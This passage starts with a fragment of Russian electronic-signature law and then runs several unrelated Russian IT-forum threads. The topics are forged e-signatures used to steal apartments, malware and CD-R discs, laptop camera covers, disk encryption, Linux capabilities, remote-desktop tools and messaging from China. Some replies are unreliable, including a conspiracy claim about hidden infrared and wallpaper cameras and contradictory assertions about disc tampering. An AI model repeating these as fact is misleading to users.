3) с использованием единой системы идентификации и аутентификации.
(часть 1.1 введена Федеральным законом от 27.12.2019 N 476-ФЗ)
2. При обращении в аккредитованный удостоверяющий центр заявитель представляет следующие документы либо их надлежащим образом заверенные копии и (или) сведения из них:
(в ред. Федерального закона от 27.12.2019 N 476-ФЗ)
(см. текст в предыдущей редакции)
1) основной документ, удостоверяющий личность;
2) страховой номер индивидуального лицевого счета заявителя - физического лица;
(в ред. Федерального закона от 08.06.2020 N 181-ФЗ)
(см. текст в предыдущей редакции)
3) идентификационный номер налогоплательщика заявителя - физического лица;
...
2.1. Заявитель вправе по собственной инициативе представить копии документов, содержащих сведения, указанные в пунктах 2 - 6 части 2 настоящей статьи.
(часть 2.1 введена Федеральным законом от 30.12.2015 N 445-ФЗ; в ред. Федерального закона от 27.12.2019 N 476-ФЗ)
(см. текст в предыдущей редакции)
......
5. При выдаче квалифицированного сертификата аккредитованный удостоверяющий центр направляет в единую систему идентификации и аутентификации сведения о лице, получившем квалифицированный сертификат, в объеме, необходимом для регистрации в единой системе идентификации и аутентификации, и о полученном им квалифицированном сертификате (уникальный номер квалифицированного сертификата, даты начала и окончания его действия, наименование выдавшего его аккредитованного удостоверяющего центра).

> Я нахожусь за границей. В ноябре у меня отжали две квартиры 3к
> и 2к в Москве с помощью поддельной электронно-цифровой подписи. Кроме того,
> у меня взломали аккаунт на госуслугах.
> У меня никогда не было ЭЦП и я даже не знаю, что
> это такое. Паспорта со мной, я их не терял.
> Адвокаты требуют предоплату 250 тыс+5% от стоимости возвращенного имущества (а это 1
> миллион р).
> У меня таких денег нет. Плюс, неизвестно, сколько ЭЦП на моё имя
> мошенники выпустили. Я отменю одну, а может, у них 10.
> Что делать?

Про это уже неоднократно были разговоры и горячо обсуждали тему в СМИ. Нужно лично зайти в МФЦ, вызвать управляющего и собственноручно написать заявление, о том что сделки с квартирой только с вашим личным присутствием. Управляющий заверит. И если не ошибаюсь, что-то предпринимали на этот счет. Тяжело, но в прокуратуру в полицию писать заявления.

https://ru.m.wikipedia.org/wiki/Единая_система_идентификации_и_аутентификации

[b]* Для получения учётной записи ЕСИА необходимо удостоверить свою личность с помощью паспортных данных, ИНН и СНИЛС[/b]

Эти все данные есть у работодателей, так как необходимы при устройстве на работу. (А сколько кто работ сменил)

Надежное хранение этих документов требует огромных денег - наличие собственного дома с сейфом. (А сколько кто квартир съемных сменил, замки вы каждый раз в съёмной квартире меняли? в общежитиях с соседями сколько прожили? Сколько раз вам квартиру снимала трудоустраевающая организация и копия ключей хранилась у них? Сюда же надо добавить всех подруг с которыми вы совместно проживали................)

Что там надо для их регистратуры? Паспорт, ИНН и СНИЛС? Можно копии! Можно без личного присутствия!!!

[b]* облачное хранение приватного ключа пользователя[/b]

Цензурные слова закончились.

[b]* Существенно расширен набор данных, ведущихся в профиле пользователя (добавлены такие документы как заграничный паспорт, полис ОМС, военный билет и др., появилась возможность указывать сведения о детях). Предусмотрена возможность зарегистрировать учетную запись на номер мобильного телефона, который ранее был привязан к другой учетной записи.

Майор одобрил. Вы подумали речь о нашем товарище? Нет, имел ввиду их..

И все это на логина/пароле по HTTPS без ESNI конечно: https://www.linux.org.ru/forum/admin/15104732?cid=15164855

И разрабов меняют каждый год: "AT Consulting, R-Style, «РТ лабс» и «Реак софт»"

> Я нахожусь за границей. В ноябре у меня отжали две квартиры 3к
> и 2к в Москве с помощью поддельной электронно-цифровой подписи. Кроме того,
> у меня взломали аккаунт на госуслугах.
> У меня никогда не было ЭЦП и я даже не знаю, что
> это такое. Паспорта со мной, я их не терял.
> Адвокаты требуют предоплату 250 тыс+5% от стоимости возвращенного имущества (а это 1
> миллион р).
> У меня таких денег нет. Плюс, неизвестно, сколько ЭЦП на моё имя
> мошенники выпустили. Я отменю одну, а может, у них 10.
> Что делать?

Тут на лицо коррекционная составляющая кто то купил скан вашего паспорта в интернете
и у него были знакомые в в удостоверяющем центре которые все и сделали пишите в сми нужно вызвать общественый резонанс

> неизвестно, сколько ЭЦП на моё имя мошенники выпустили

https://www.garant.ru/products/ipo/prime/doc/400065686/
Постановление Правительства РФ от 28 декабря 2020 г. № 2309 “Об утверждении требований к порядку предоставления владельцам квалифицированных сертификатов сведений о выданных им квалифицированных сертификатах с использованием единого портала государственных и муниципальных услуг”

Требуют регистрироваться на "госуслугах" и кроме Ф.И.О. предоставить СНИЛС.

Сертификаты ЭП, выданные аккредитованными УЦ: https://e-trust.gosuslugi.ru/#/portal/registry/certificate-list
Сертификаты, переданные АУЦ в связи с прекращением своей деятельности: https://e-trust.gosuslugi.ru/#/portal/registry/passed-certif...
Отсутствие поиска по Ф.И.О. делает данный сервис почти бесполезным.

Как по мне это нарушает дух и букву Закона:
ст. 15 п. 3 http://www.consultant.ru/document/cons_doc_LAW_112701/03690e...
«3. Аккредитованный удостоверяющий центр обязан обеспечить любому лицу безвозмездный доступ с использованием информационно-телекоммуникационных сетей, в том числе сети «Интернет», к реестру квалифицированных сертификатов этого аккредитованного удостоверяющего центра в любое время в течение срока деятельности этого удостоверяющего центра, если иное не установлено федеральными законами или принимаемыми в соответствии с ними нормативными правовыми актами.»

Налоговая, к примеру, предоставляет доступ к реестру ЕГРЮЛ без ограничений: https://egrul.nalog.ru/ с возможностью поиска по Ф.И.О., ИНН...

> Я нахожусь за границей. В ноябре у меня отжали две квартиры 3к
> и 2к в Москве с помощью поддельной электронно-цифровой подписи. Кроме того,
> у меня взломали аккаунт на госуслугах.
> У меня никогда не было ЭЦП и я даже не знаю, что
> это такое. Паспорта со мной, я их не терял.
> Адвокаты требуют предоплату 250 тыс+5% от стоимости возвращенного имущества (а это 1
> миллион р).
> У меня таких денег нет. Плюс, неизвестно, сколько ЭЦП на моё имя
> мошенники выпустили. Я отменю одну, а может, у них 10.
> Что делать?

И чем закончилась история? а то даже не по себе((

Дыра таки есть, и в инетах шумок не стихает:

https://tass.ru/ekonomika/21582911

https://tass.ru/ekonomika/21393391

https://www.opennet.ru/openforum/vsluhforumID10/5567.html

"В Минцифры подчеркнули, что на портале можно только подать заявление в Росреестр на регистрацию права собственности, которое подписывается в приложении "Госключ". Решение же о регистрации недвижимoсти принимает Росреестр после тщательной проверки оснований, указали в министерстве."

Росреестр автоматически проверяет правельность заполнения заявок и реквизиты указанных документов... Считаю дыру оставили умышленно!

Похоже можно, хотя и не с каждым приводом - https://www.13thmonkey.org/documentation/SCSI/mmc5r04.pdf В общем случае нужно перепрошивать контроллер в приводе.

А ещё бывают CD-R приводы. Они вообще писать не умеют.

Хотелось бы понять природу вопроса ....

Создаю ISO образы и пишу cdrecord на DVD-R. ВСЕ стандартное ПО, например cdrecord откажется писать на записанный диск. Вопрос принят, майлвари можно писать. Но надо менять прошивку диска. Да и CD попавшийся в руки можно испортить проще.
Перед использованием CD необходимо проверять его подписи и контрольные сумы.

>[оверквотинг удален]
> Насколько понимаю, при записи, например, CD-R, у диска вся поверхность заполнена нулями.
> Но нолик можно выжечь в единичку лазером. Сменить назад на ноль
> нельзя, именно поэтому это CD-R, а не CD-RW.
>  А запись, в норме, заключается в выжигании единичек в нужных местах.
> Но даже если забить диск под завязку непроженные места останутся, ведь
> должны же встречаться нули на в файлах и файловой системе. А
> значит малварь в принцепе способна повредить диск путем прожига оставшихся нулей.
> В качестве бонуса для параноиков, можно уничтожить чувствительные данные на CD-R таким
> же путем.
> Я всё правильно понимаю или я где-то ошибаюсь?

при записи на диск используются алгоритмы для контроля и восстановления поврежденных данных (саломона-рида, к примеру) и скорее всего блоки защищены/проверяются контрольными суммами. именно благодаря им царапанные диски читаются. сомневаюсь что возможно поверх прожечь диск так (меняя только единицы на нули), чтобы также возможно было подобрать комбинацию для прожига защитных блоков (erasure codes) и контрольных сумм для всего диска или какой-то его значительной части.
1. это предположение.
2. это предположение основано на том что считывание осуществляется на нормальном приводе с нормальными драйверами (мез вмешательство в его работу/перепрашивку).
3. с другой стороны в 90х существовали программы, которые увеличивали ёмкость дискет. скорее всего за счет пространства, занимаемого блоками восстановления (снижая надежность хранения информации). тобиш как минимум прициденнт вмешателства в алгоритмы работы дисководов есть, которые потом проглатывались дисководами без вмешательства. микрософт, к примеру распротранял винду на дискетах ёмкостью 1.7мб, хотя обычная дискета имела объем 1.44мб.
4. насчет дисков не помню - поищи в интернете, но как мне кажется на митинке продавали диски увеличенной ёмкости, читаемые обычными приводамм (с фильмами и играми). скорее всего там похожий трюк проварачивался. могу ошибаться - давно было. воспаминания туманны, а я стар как вы поняли. )

резюмируя - если возможно, то сложно...

На cd диске не хранятся 0 и 1 в том виде как многие думают. На самом низком уровне там EFM кодирование цель которого убрать постоянную составляющую из сигнала и обеспечить восстановление тактового сигнала, чтоб потом уже можно было выделять поток байтов. Поверх которого уже работают алгоритмы выявления и коррекции ошибок более высокого уровня.

В общем, если модифицировать прошивку, то в теории повредить диск таким образом можно. Записать что то осмысленное нет.

>[оверквотинг удален]
> Насколько понимаю, при записи, например, CD-R, у диска вся поверхность заполнена нулями.
> Но нолик можно выжечь в единичку лазером. Сменить назад на ноль
> нельзя, именно поэтому это CD-R, а не CD-RW.
>  А запись, в норме, заключается в выжигании единичек в нужных местах.
> Но даже если забить диск под завязку непроженные места останутся, ведь
> должны же встречаться нули на в файлах и файловой системе. А
> значит малварь в принцепе способна повредить диск путем прожига оставшихся нулей.
> В качестве бонуса для параноиков, можно уничтожить чувствительные данные на CD-R таким
> же путем.
> Я всё правильно понимаю или я где-то ошибаюсь?

>[оверквотинг удален]
> Насколько понимаю, при записи, например, CD-R, у диска вся поверхность заполнена нулями.
> Но нолик можно выжечь в единичку лазером. Сменить назад на ноль
> нельзя, именно поэтому это CD-R, а не CD-RW.
>  А запись, в норме, заключается в выжигании единичек в нужных местах.
> Но даже если забить диск под завязку непроженные места останутся, ведь
> должны же встречаться нули на в файлах и файловой системе. А
> значит малварь в принцепе способна повредить диск путем прожига оставшихся нулей.
> В качестве бонуса для параноиков, можно уничтожить чувствительные данные на CD-R таким
> же путем.
> Я всё правильно понимаю или я где-то ошибаюсь?

Вредоносное программное обеспечение не может повредить уже записанный однократно записываемый оптический диск, поскольку данные на нём зафиксированы физически и не могут быть изменены программно; после окончательной записи такие диски защищены от цифрового вмешательства, включая вредоносные программы.

Звучит как XY Problem. Какую реальную цель преследуешь?

ну хоть бы правильную ссылку на новость указал https://www.opennet.ru/opennews/art.shtml?num=63350

Много много лет как призывал поддерживать свои антивирусные базы в том числе с возможностью лечения.

История:
Давным давно поставил себе классическую проксю с MitM, блокировкой URL по черному списку и блокировкой вирусов ClamAV.

Добавил в ClamAV неофициальные базы и моя прокся сразу заблокировала все сайты с Рунета с блотварью яндекса, .... На меня сильно наругали...

Тогда занялся поддержкой лечащих баз для прокси. В цепочке проксей после блокировки по URL и перед проверкой на вирусы добавляем лечение блотвари Яндекса, ... У меня получилось.

Свободные прокси поддерживают лечащие бызы в стандартном формате sed:

    s/что заменить/чем заменить/опции

Но в них имеются отличия в регэкспах. По этому для обновления лечащих баз в дополнения к созданных вами желательно написать конвертеры с разных свободных резчиков рекламы и блотвари.

Наша цивилизация пошла другим путем. Прокси с MitM оказался сложным. И все выбрали плагины к бровзеру для резки блотвари Яндекса, реклами, ... А организации установку антивируса Касперского с проверяющим плагином к бровзеру. Касперский должен блотварь Яндекса резать на совесть.

У меня DuckDuckGo на Андроиде не открывает сайты, а WireMin нет в f-droid.

Скиньте ссылку на файл баз: hypatia-md5-extended-bloom.bin

> Сорь, может не совсем в тему, но чем на современных макбуках можно
> заклеивать камеру? Нужно что-то очень тонкое, вроде листа бумаги. Нужны какие-то
> наклейки. Но у всех у них отвратительный клей, который оставляет стремные
> следы, которые можно оторвать вместе с антибликовым покрытием. Хочу чтобы легко
> снималось и наклеивалось.
> Спасибо!

изолента, лучше синяя, для эстетов можно даже хб юзать. В принципе можно просто жвачку налепить или гвоздиком выковырять

> Сорь, может не совсем в тему, но чем на современных макбуках можно
> заклеивать камеру? Нужно что-то очень тонкое, вроде листа бумаги. Нужны какие-то
> наклейки. Но у всех у них отвратительный клей, который оставляет стремные
> следы, которые можно оторвать вместе с антибликовым покрытием. Хочу чтобы легко
> снималось и наклеивалось.
> Спасибо!

Просто физически вытащи камеру

> Хочу чтобы легко снималось и наклеивалось.

Всё, что хорошо снимается, будет постоянно отклеиваться и отпадать прямо в тот момент, когда ты голый, а на тебя весь совет директоров смотрит.

У леновы года 3 назад появились ноутбуки со встроенной шторкой на видимокамеру. У них антиблик не отвалится. У них даже есть матовые экраны, которым антиблик не нужен.

Всё плохое, что может случиться, обязательно случится. Законы Мерфи никто не отменял.
Просто не стоит открывать ноут в неподходящем виде.)
Из всех возможных неприятностей произойдёт именно та, ущерб от которой больше.
От этого, никакая лепучка не спасет.)

Всего за €49.99 продам Вам две фирменные наклейки на камеру. Пишите в ЛС.

> Сорь, может не совсем в тему, но чем на современных макбуках можно
> заклеивать камеру? Нужно что-то очень тонкое, вроде листа бумаги. Нужны какие-то
> наклейки. Но у всех у них отвратительный клей, который оставляет стремные
> следы, которые можно оторвать вместе с антибликовым покрытием. Хочу чтобы легко
> снималось и наклеивалось.
> Спасибо!

> Сорь, может не совсем в тему, но чем на современных макбуках можно
> заклеивать камеру? Нужно что-то очень тонкое, вроде листа бумаги. Нужны какие-то
> наклейки. Но у всех у них отвратительный клей, который оставляет стремные
> следы, которые можно оторвать вместе с антибликовым покрытием. Хочу чтобы легко
> снималось и наклеивалось.
> Спасибо!

Вдруг кто не знает - они могут между пикселами вставить инфракрасные пикселы, и видеть за наклейкой - нужно залеплять фольгой!  а так же по бокам экрана инфракрасные датчики - они внутри системы датчики, а в обход - уже не не датчики, а камеры! их то же надо залеплять. еще есть настенные обои - камеры, клеишь их и они сниамют тебя! это вообще никто не расскажет потому что засекречено! заряжаются дистанционно и передают сигнал через беспроводную связь! их то же надо заклеивать!

> Сорь, может не совсем в тему, но чем на современных макбуках можно
> заклеивать камеру? Нужно что-то очень тонкое, вроде листа бумаги. Нужны какие-то
> наклейки. Но у всех у них отвратительный клей, который оставляет стремные
> следы, которые можно оторвать вместе с антибликовым покрытием. Хочу чтобы легко
> снималось и наклеивалось.
> Спасибо!

не нужно клеить, сверло 1мм решает все проблемы + капля суперклея.

Здесь про это была новость https://www.opennet.ru/opennews/art.shtml?num=52648

https://wiki.archlinux.org/title/Dm-crypt/Encrypting_an_enti...

Если для бэкапа используется выделенный диск ЦЕЛИКОМ, то разбивать его на разделы не требуется, можно шифровать диск целиком без разбивки.

Бекапить на съёмный, шифрованный, жесткий диск, это хорошо.

Придерживаюсь мнения, что необходимо держать бекапы на DVD/BD (-R), лучше M-DISK.

Скрипт для бекапа, создает ISO для записи:
https://www.linux.org.ru/forum/admin/15041201?cid=15051206
https://www.linux.org.ru/forum/admin/15041201?cid=15051243
https://www.linux.org.ru/forum/admin/15041201?cid=15052218

Можно добавить упаковку и шифрование перед созданием ISO.

Ссылка на пример полнодискового шифрования для ноута: https://www.opennet.ru/openforum/vsluhforumID3/131450.html#223

Часто используют связку LUKS -> LVM. Сначала шифруют физичский диск и уже его разбивают на логические разделы с помощью LVM.
GRUB поддерживает загрузку с /boot на LVM разделе, который в свою очередь размещён в разделе LUKS.

> Нужно создать шифрованный диск для бэкапа.
> Но что мешает зашифровать весь диск сразу, минуя разбивку? Это работает,
> проверял, но какие подводные? Всем благодарен, с меня, как обычно.

Шифруя диск полностью вы лишаетесь дополнительной надежности которую дает файловая система.
Диск с багованным контроллером или битым сектором\ячейкой может записать 1 вместо 0, и вы об этом не узнаете или узнаете когда будет поздно.

В бэкапе важна надежность хранения.
zfs например сможет проверять четность\хеш блоков и писать данные с резервом на случай повреждений диска.

Диск шифруют полностью когда нужно скрыть что на нем что-то есть от не сильно заинтересованных но имеющих возможность вам нагадить людей.
На ваши данные не покушаются, значит надежность важней.

Делайте обычный контейнер LUKS без скрытия заголовков, и работайте с ним.

>[оверквотинг удален]
> ...
> не предлагать!
> Править исходники на C для сброса привилегий - не предлагать.
> Сыстемды сервисы с cap - не предлагать.
> Патчи Capability-NG от Google заманчивые, это то что в принципе подходит, но
> не предлагать. ;)
> Хочу чисто существующими xattr file capability права на файл установить так, чтобы
> root его запускал и процесс имел пониженные привилегии.
> setcap ...
> Просмотреть привилегии можно например в pscap.

setcap только устанавливает для не рута. Можно общесистемно отключить нужные capabilities. Тебе подойдёт?

>[оверквотинг удален]
> ...
> не предлагать!
> Править исходники на C для сброса привилегий - не предлагать.
> Сыстемды сервисы с cap - не предлагать.
> Патчи Capability-NG от Google заманчивые, это то что в принципе подходит, но
> не предлагать. ;)
> Хочу чисто существующими xattr file capability права на файл установить так, чтобы
> root его запускал и процесс имел пониженные привилегии.
> setcap ...
> Просмотреть привилегии можно например в pscap.

Какую задачу ты решаешь? Может наоборот для не рута выставить нужные cap?

Что никому здесь CAP не нужны?

Google в Android умеет сбрасывать права root своим init: https://chromium.googlesource.com/aosp/platform/system/core/...

"If no capabilities are provided, then all capabilities are removed from this service, even if it runs as root."

До ядра 2.6.25 права резались общесистемно, а в новых версиях заявлена по поточна поддержка прав. В Linux на каждый процесс можно выставить свои права.

Общесистемные, доступные права в /proc/sys/kernel/cap-bound можно было когдато редактировать lcap: https://www.debian.org/doc/manuals/securing-debian-manual/ch...

lcap - A user friendly interface to remove capabilities (kernel-based access control) in the kernel, making the system more secure. For example, executing lcap CAP_SYS_MODULE will remove module loading capabilities (even for the root user).

CapInh для root можно выставить в /etc/security/capabilities.conf как сбросить права root процессов с помощью XATTR security.capability?

> исследование показало неожиданные результаты: 19 из 35 существующих "capabilities" позволили совершить действия, которые в конечном итоге потенциально могут привести к получению полноценных прав пользователя root.

https://www.opennet.ru/opennews/art.shtml?num=29219

http://forums.grsecurity.net/viewtopic.php?f=7&t=2522

> Привет!
> Ожидаемая новость, TeamViewer заблокировал бесплатные подключения и т.д. В общем хочу спросить
> кто чем пользуется вместо него, и я так думаю что искать
> нужно "маде ин наше", дабы не поднимать похожую тему через некоторое
> время. Естественно клиент нужен под windows, еще лучше с функцией "только
> запустить", и т. п. Прошу не разводить флуд по поводу того
> что "большой брат" следит за нами в этих программах, "windows придумали
> зеленые человечки что бы поработить наш мозг" и в таком духе.

RDS Shadow. штатная функция.

> что "большой брат" следит за нами

не за нами, а за ВАМИ
> зеленые человечки что бы поработить наш мозг"

не наш, а ВАШ

ssh

Замена M$ Skype в GNU/Linux: https://tox.chat

Клиент: https://qtox.github.io/ru.html

Можно глянуть на: https://prism-break.org/en/subcategories/gnu-linux-video-voice/

> Привет!
> Ожидаемая новость, TeamViewer заблокировал бесплатные подключения и т.д. В общем хочу спросить
> кто чем пользуется вместо него, и я так думаю что искать
> нужно "маде ин наше", дабы не поднимать похожую тему через некоторое
> время. Естественно клиент нужен под windows, еще лучше с функцией "только
> запустить", и т. п. Прошу не разводить флуд по поводу того
> что "большой брат" следит за нами в этих программах, "windows придумали
> зеленые человечки что бы поработить наш мозг" и в таком духе.

radmin - отчественное решение )) велком в 00-x

> Привет!
> Ожидаемая новость, TeamViewer заблокировал бесплатные подключения и т.д. В общем хочу спросить
> кто чем пользуется вместо него, и я так думаю что искать
> нужно "маде ин наше", дабы не поднимать похожую тему через некоторое
> время. Естественно клиент нужен под windows, еще лучше с функцией "только
> запустить", и т. п. Прошу не разводить флуд по поводу того
> что "большой брат" следит за нами в этих программах, "windows придумали
> зеленые человечки что бы поработить наш мозг" и в таком духе.

Есть такая штука, наша, https://xn--80akicokc0aablc.xn--p1ai/%D1%81%D...

> Привет!
> Ожидаемая новость, TeamViewer заблокировал бесплатные подключения и т.д. В общем хочу спросить
> кто чем пользуется вместо него, и я так думаю что искать
> нужно "маде ин наше", дабы не поднимать похожую тему через некоторое
> время. Естественно клиент нужен под windows, еще лучше с функцией "только
> запустить", и т. п. Прошу не разводить флуд по поводу того
> что "большой брат" следит за нами в этих программах, "windows придумали
> зеленые человечки что бы поработить наш мозг" и в таком духе.
>и я так думаю что искать нужно "маде ин наше"

Обратись к Александру Гельевичу Дугину, он тебе быстро закодит.

> Привет!
> Ожидаемая новость, TeamViewer заблокировал бесплатные подключения и т.д. В общем хочу спросить
> кто чем пользуется вместо него, и я так думаю что искать
> нужно "маде ин наше", дабы не поднимать похожую тему через некоторое
> время. Естественно клиент нужен под windows, еще лучше с функцией "только
> запустить", и т. п. Прошу не разводить флуд по поводу того
> что "большой брат" следит за нами в этих программах, "windows придумали
> зеленые человечки что бы поработить наш мозг" и в таком духе.

https://aspia.org/doku.php?id=ru:start

https://rustdesk.com/

A remote desktop software, works out of the box, no configuration required. You have full control of your data, with no concerns about security. You can use our public rendezvous/relay server, or self-hosting, or write your own server.

https://blog.actorsfit.com/a?ID=00001-9a5ddd7a-5e03-42b5-bf8...

сам пока не пробовал

> Привет!
> Ожидаемая новость, TeamViewer заблокировал бесплатные подключения и т.д. В общем хочу спросить
> кто чем пользуется вместо него, и я так думаю что искать
> нужно "маде ин наше", дабы не поднимать похожую тему через некоторое
> время. Естественно клиент нужен под windows, еще лучше с функцией "только
> запустить", и т. п. Прошу не разводить флуд по поводу того
> что "большой брат" следит за нами в этих программах, "windows придумали
> зеленые человечки что бы поработить наш мозг" и в таком духе.

SoftEther однозначно лучший, но требует некоторой настройки на клиенте и сервере, настройка в три клика, а дальше любым клиентом RDP и т.д.

SupremoControl

Anydesktop

А Дискорд чем плох?

>TeamViewer заблокировал бесплатные подключения и т.д.
>Естественно клиент нужен под windows

Не, ничего. Продолжайте в том же духе. Вас учить только портить.

> Есть ли еще варианты, желательно наши продавцы.

В гугле бан?

Comodo Positive SSL всего $ 3.50 / год на https://www.cheapsslshop.com/comodo-positive-ssl

Они предлагают его всего за 4,99 доллара в год https://certera.com/ssl/comodo/comodo-positive-ssl

"не подробные" логи места занимают мало и храниться могут вечно. Закон определяет минимальный срок. Максимальный ограничен только мыслью админа и ценой за хранение.

Чистосердечное признание смягчает наказание!

Любитель *нальных утех это ты ? По твоим логам я нескучно провожу свободное время- хранить вечно !

> Доброго дня. Может кто из Вас может знать точно сколько лет крупные
> интернет провайдеры хранят логи интернет пользователей? Нигде не могу найти однозначно
> информации, то 3 года пишут, то годами... Интересует именно сухое логирование,
> не подробные логи, которые по Яровой мес 6 должны храниться

Минимальный срок зависит от того по какому СОРМ лицензированы провайдеры.
Так что, однозначного ответа на ваш вопрос просто нет.

> Доброго дня. Может кто из Вас может знать точно сколько лет крупные
> интернет провайдеры хранят логи интернет пользователей? Нигде не могу найти однозначно
> информации, то 3 года пишут, то годами... Интересует именно сухое логирование,
> не подробные логи, которые по Яровой мес 6 должны храниться

2мес в среднем. тут не логи а все запросы. т.е. по факту весь трафик

> Подскажите  кто знает или у кого есть подобный опыт. Мое ТЗ
> простое надо что бы работало через wifi (есть в отеле), устанавливалось
> на andriod. Можно было послать текстовое и графическое сообщении.

gmail

> Добрый день.
> Подскажите. Есть такая задача. Надо организовать обмен сообщениями с человеком который
> поедет Китай не надолго. То есть по сути нужен whatsapp или
> telegram. Как я слышал там данные программы не работают.

Симки в роуминге не фильтруются.

Element вроде должен работать - https://app.element.io/

> Добрый день.
> Подскажите. Есть такая задача. Надо организовать обмен сообщениями с человеком который
> поедет Китай не надолго. То есть по сути нужен whatsapp или
> telegram. Как я слышал там данные программы не работают.
> Но если поискать в интернетах, выясняется что подобного рода ПО много, неужели
> все их тоже блокируют https://en.wikipedia.org/wiki/Comparison_of_cross-platform_i...
> Подскажите  кто знает или у кого есть подобный опыт. Мое ТЗ
> простое надо что бы работало через wifi (есть в отеле), устанавливалось
> на andriod. Можно было послать текстовое и графическое сообщении.
> ПС. Регистрация в wechat озаботился  но там как все не просто.

VPN возьми, если человек читает опеннет - SSH.

копайте со своим знакомым в сторону shadowsocks/v2ray/xray - заработает любой мессенджер
https://habr.com/ru/articles/727868/

Получены интересные результаты:

1) tox не блокируется.
2) вконтакте не блокируется.

У меня есть опыт общения с китайцем. Таки через связку Whatsapp+VPN. Я правда не знаю что за VPN, он периодически менял приложение для VPN и получал новые по сарафанному радио от приятелей. Скорость загрузки файлов была низкой, приходилось отсылать среднего размера файлы в виде многотомных архивов, по 5 мегабайт каждый(мне помог Zarchiver. Есть в каталоге приложений Huawei).Также были периоды когда связь пропадала вообще. Но он в технологиях плохо разбирается, он просто, не мудрствуя лукаво, скачивал готовые VPN приложения.

> Добрый день.
> Подскажите. Есть такая задача. Надо организовать обмен сообщениями с человеком который
> поедет Китай не надолго. То есть по сути нужен whatsapp или
> telegram. Как я слышал там данные программы не работают.
> Но если поискать в интернетах, выясняется что подобного рода ПО много, неужели
> все их тоже блокируют https://en.wikipedia.org/wiki/Comparison_of_cross-platform_i...
> Подскажите  кто знает или у кого есть подобный опыт. Мое ТЗ
> простое надо что бы работало через wifi (есть в отеле), устанавливалось
> на andriod. Можно было послать текстовое и графическое сообщении.
> ПС. Регистрация в wechat озаботился  но там как все не просто.

Эта статья рассказывает про ограничения интернета в Китае.  Dont  Практически единственным неограниченно доступным мессенджером является национальный сервис WeChat:
https://messeng.ru/vatsap-v-kitae/
Привычные приложения, предназначенные для общения (Skype, WhatsApp, Viber, Telrgram) на территории страны заблокированы. Некоторыми из этих приложений можно пользоваться при условии, что программа была инсталлирована на устройстве до въезда пользователя в страну.  

Я нахожусь в Китае и могу получить доступ ко многим серверам XMPP, например, chapril.org, draugr.de, redlibre.es, suchat.org, 07f.de. Также вы можете подключиться к поддерживающим это серверам через I2P.

Кто на ком стоял?

Потрудитесь излагать ваши мысли яснее.